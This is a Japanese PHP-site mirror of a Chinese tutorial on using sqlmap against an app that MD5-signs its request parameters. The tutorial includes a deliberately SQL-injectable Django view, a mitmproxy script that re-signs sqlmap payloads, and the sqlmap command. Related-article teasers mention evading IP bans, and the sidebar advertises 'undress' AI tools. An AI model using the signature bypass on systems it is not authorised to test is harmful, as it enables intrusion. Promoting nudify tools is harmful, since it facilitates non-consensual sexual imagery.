sqlmap処理署名暗号化の考え方
我对公司的APP进行测试的时候发现,我们是将所有的参数内容加上一个32位字符最后在进行MD5加密。由于APP处理的流程首先是验证sign是不是正确,如果验签失败,根本就进不去数据库,为了要使用SQLMAP对其进行测试,于是就写了一个代理数据的脚本,在拦截到数据包之后,对其参数内容和32字符进行加密替换。
注:该脚本适用于公司内部系统,因为能够知道加密的流程;或者能够拿到前端JS的加密方式。
首先我使用Django写了一个程序来模拟公司的系统,流程是获取POST的id和token,并加上自定义加密的字符,由于Django获取到数据是已经经过URLDECODE,所以我用了quote对参数id的内容进行URLENCODE,再进行MD5加密,最后验证请求过来的token是否和参数内容一致。
views.py from django.shortcuts import render from django.http import JsonResponse # Create your views here. import hashlib import MySQLdb import urllib from django.views.decorators.csrf import csrf_exempt @csrf_exempt def index(request): id = request.POST.get("id") token = request.POST.get("token") str = urllib.quote(id+"test") print(str) hl = hashlib.md5() hl.update(str) token1 = hl.hexdigest() print token1 if token == token1: db = MySQLdb.connect("localhost", "root", "123456", "testdb", charset='utf8') cursor = db.cursor() cursor.execute("select * from t_userinfo where id="+id) data = cursor.fetchone() print "Database version : %s " % data db.close() return JsonResponse({"msg":"verity ok"}) else: return JsonResponse({"msg":"verity error."}) models.py class userinfo(models.Model): name = models.CharField(max_length=100) age = models.CharField(max_length=100)
使用BP进行抓包,可以看到当验证正确和验证错误返回的状态。
使用SQLMAP进行测试,发现无法测试。于是我使用mitmproxy,mitmproxy是一个交互式的中间代理HTTP和HTTPS的控制台界面,具体详情可以看这里。
如果要修改的话,只修改wsproxy_request_handle函数,因为这个函数是拦截数据并且篡改数据的过程,其他的代码都是配置过程和运行过程,不用修改。
from mitmproxy.proxy.server import ProxyServer from mitmproxy import flow, controller from mitmproxy import flow, proxy, controller, options import hashlib import re def md5cr(str): hl = hashlib.md5() hl.update(str.encode(encoding='utf-8')) return hl.hexdigest() class WSProxy(flow.FlowMaster): def __init__(self, opts, server, state, unsave_data): super(WSProxy, self).__init__(opts, server, state) self.unsave_data = unsave_data def run(self): try: print("start") flow.FlowMaster.run(self) except KeyboardInterrupt: self.shutdown() @controller.handler def request(self, f): wsproxy_request_handle(f) @controller.handler def response(self, f): wsproxy_response_handle(f) # parser = ResponseParser(f) # insert_result(parser.parser_data()) def wsproxy_request_handle(flow): """wyproxy send data to server before processing""" try: data = flow.request.content.split("&") t = "" for i in data: if i.split("=")[0] != "token": t = t+i.split("=")[1] str = t+"test" sign = md5cr(str) print(str) data1 = re.match("(.*?)token=",flow.request.content).group() flow.request.content = data1+sign print(flow.request.content) except IndexError: pass def wsproxy_response_handle(flow): pass port = 8888 # mode = 'regular' #mode=regular opts = options.Options( listen_port=int(port), mode=mode, cadir="./ssl/", ) unsave_data = False config = proxy.ProxyConfig(opts) state = flow.State() server = ProxyServer(config) m = WSProxy(opts, server, state, unsave_data) m.run()
运行上面的脚本使用SQLMAP代理到上http://IP:8888上面,然后脚本会自动处理sqlmap的payload和生成对应的sign。
python sqlmap.py -r e:\\1.txt -p id --dbms=mysql --batch --proxy=http://192.168.1.240:8888
上面是生成payload和sign的过程,下面是我请求一个payload报错的过程。
以上がsqlmap処理署名暗号化の考え方の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









SIGN 関数は、Microsoft Excel に組み込まれている非常に便利な関数です。この関数を使用すると、数値の符号を調べることができます。つまり、数値が正であるかどうかです。 SIGN 関数は、数値が正の場合は 1 を返し、数値が負の場合は -1 を返し、数値が 0 の場合は 0 を返します。当たり前すぎるように思えますが、多くの数値が含まれる大きな列があり、すべての数値の符号を見つけたい場合は、SIGN 関数を使用すると、数秒で作業を完了することができ、非常に便利です。この記事では、Excel ドキュメントで SIGN 関数を簡単に使用して数値の符号を計算する 3 つの方法を説明します。この素晴らしいトリックをマスターする方法を学びましょう。起動する

sqlmap を使用して dvwa へのインジェクションを自動化し、dvwa レベルを低く設定し、dvwa の SQLInjection (SQLInjection(Blind)) を開き、ブラウザーのデバッグを開き、ユーザー ID を入力して送信し、インターセプトされた要求を表示します。これは GET リクエストである URL「http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#」であることがわかります。これをテストするために salmap に直接入れます。 - u コマンド -u"http://192.168.1.22

0x00 概要 最近、sqlmap インジェクション テストを使用しているときに、上位バージョンの sqlmap ではインジェクションを検出できないが、下位バージョンではインジェクションを検出でき、誤検知ではなくデータが枯渇するという奇妙な現象に遭遇しました。比較テストを行って sqlmap のソース コードを表示したところ、2 つの小さな穴が見つかりました。 0x01 シナリオ再現注入ポイント形式: json..."whereparams":[{"name":"keyWord","value":"test"}]} 注入可能なパラメータ:valuesqlmap コマンド:pythonsqlmap.py-rsqlpk.txt–フラッシュ-session-vvsqlmapv1.2.11 は を注入できません

パート 1: Sqlmap の使用 1.1 sqlmap の概要 1. SQL インジェクションの基本的なステートメントをいくつか説明しましたが、手動インジェクションは非常に面倒です. データを取得するには、強力な SQL インジェクション ツールである sqlmap を使用できます 2. sqlmap の概要 (1) # sqlmap は、SQL インジェクションの脆弱性とデータベースに接続されているサーバーを自動的に検出して悪用できるオープンソースの侵入テスト ツールです。非常に強力な検出エンジン、複数の機能を備えたペネトレーション テスター、データベース フィンガープリンティングによる基盤となるファイル システムへのアクセス、および帯域外接続を介したコマンド実行を備えています。公式 Web サイト: sqlmap.org(2)#サポートされるデータベース: MySQL、Oracle、PostgreS

外部 Web サイトへの侵入テストを行う必要があるため、ほとんどの Web サイトではアクセス頻度制御が行われており、この頻度を超えると、その IP は直接禁止されます。特に SQLMAP の実行中はさらに「おばさんっぽく」なり、SQLMAP の実行が終了する前にエラーが報告されて終了します。そこで SQLMAP のプロキシ モードについて勉強し始めたのですが、SQLMAP には通常のプロキシ (HTTP プロキシ) とオニオン プロキシの 2 つのプロキシ モードがあります。当初は通常のエージェントの適用について書きたかったのですが、Baidu はこの記事が十分に詳細であると判断し、くだらない話をやめました。 Sqlmap 拡張 - 外部 IP プロキシ プールの実装 オニオン プロキシに焦点を当てましょう。当初、オニオンがインジェクションに直接使用されていたとき、「赤おばさん」レポートはありませんでした。その後、侵入 Web サイトの数が増加するにつれて、

1. はじめに SQL インジェクションを検出するにはどうすればよいですか?私の答えは、「当事者 A がセキュリティを行っている場合、SQL インジェクションの検出は比較的簡単に実行できる」です。 1) エラー挿入の検出。 2) 誤検知が比較的多いため、ブール値エラー レポートを挿入しないでください。 3) 時間ベースのタイム インジェクションを実行し、低速ログ データベース レコードを作成するための操作とメンテナンスに連絡し、スリープを監視し、ベンチマーク キーワードを監視します。位置付けを容易にするために、スリープ時間の小数点にスキャン タスクの ID 番号を追加できます。 (追記: この方法で SQL インジェクションの 99% を見つけることができます) したがって、時間ベースのタイム インジェクションを行う場合、私は時間エラーを非常に厳しく制限します。ただし、@chengable は、t に基づいて、パーティ B でセキュリティ関連の作業を行っています。

インターネット上には、sqlmap の DNS インジェクションに関する関連記事が少なすぎます。--dns-domain パラメーターについて簡単に紹介しているだけです。関連する実用的な記事は曖昧であるか、一度に言及されており、混乱を招きます (主に不正直、重要なのはまだビッグボスではありません)。そこでネット上の方法を参考に再度やってみました。準備する必要があるものには、1 つの sqlmap、Windows ブラインド インジェクション、2 つのドメイン名、および外部ネットワーク サーバーが含まれます。ある時、何かをしていた時にタイムブラインドインジェクションに出会い、たまたまWindowsマシンだったのでDNSインジェクションの方法を思い出しました。開始する前に、sqlmap の --sql-shell コマンドを使用して、DNS インジェクション ペイロードをテストする予定です。まず、burpsuite に移動します。

同社のアプリをテストしたところ、すべてのパラメーターの内容に 32 ビット文字が追加され、最終的に MD5 暗号化が実行されていることがわかりました。 APPの処理プロセスでは最初に署名が正しいかどうかを検証するため、署名検証に失敗するとデータベースにまったく入れなくなりますが、それをテストするためにSQLMAPを使用するために、プロキシデータ用のスクリプトを作成しました。データ パケットでは、そのパラメータの内容と 32 文字の暗号化された置換が実行されます。注: このスクリプトは、暗号化プロセスを知ることができたり、フロントエンド JS の暗号化方式を取得したりできるため、企業の内部システムに適しています。まず、会社のシステムをシミュレートするために、Django を使用して POST ID とトークンを取得し、カスタムの暗号化単語を追加するプログラムを作成しました。
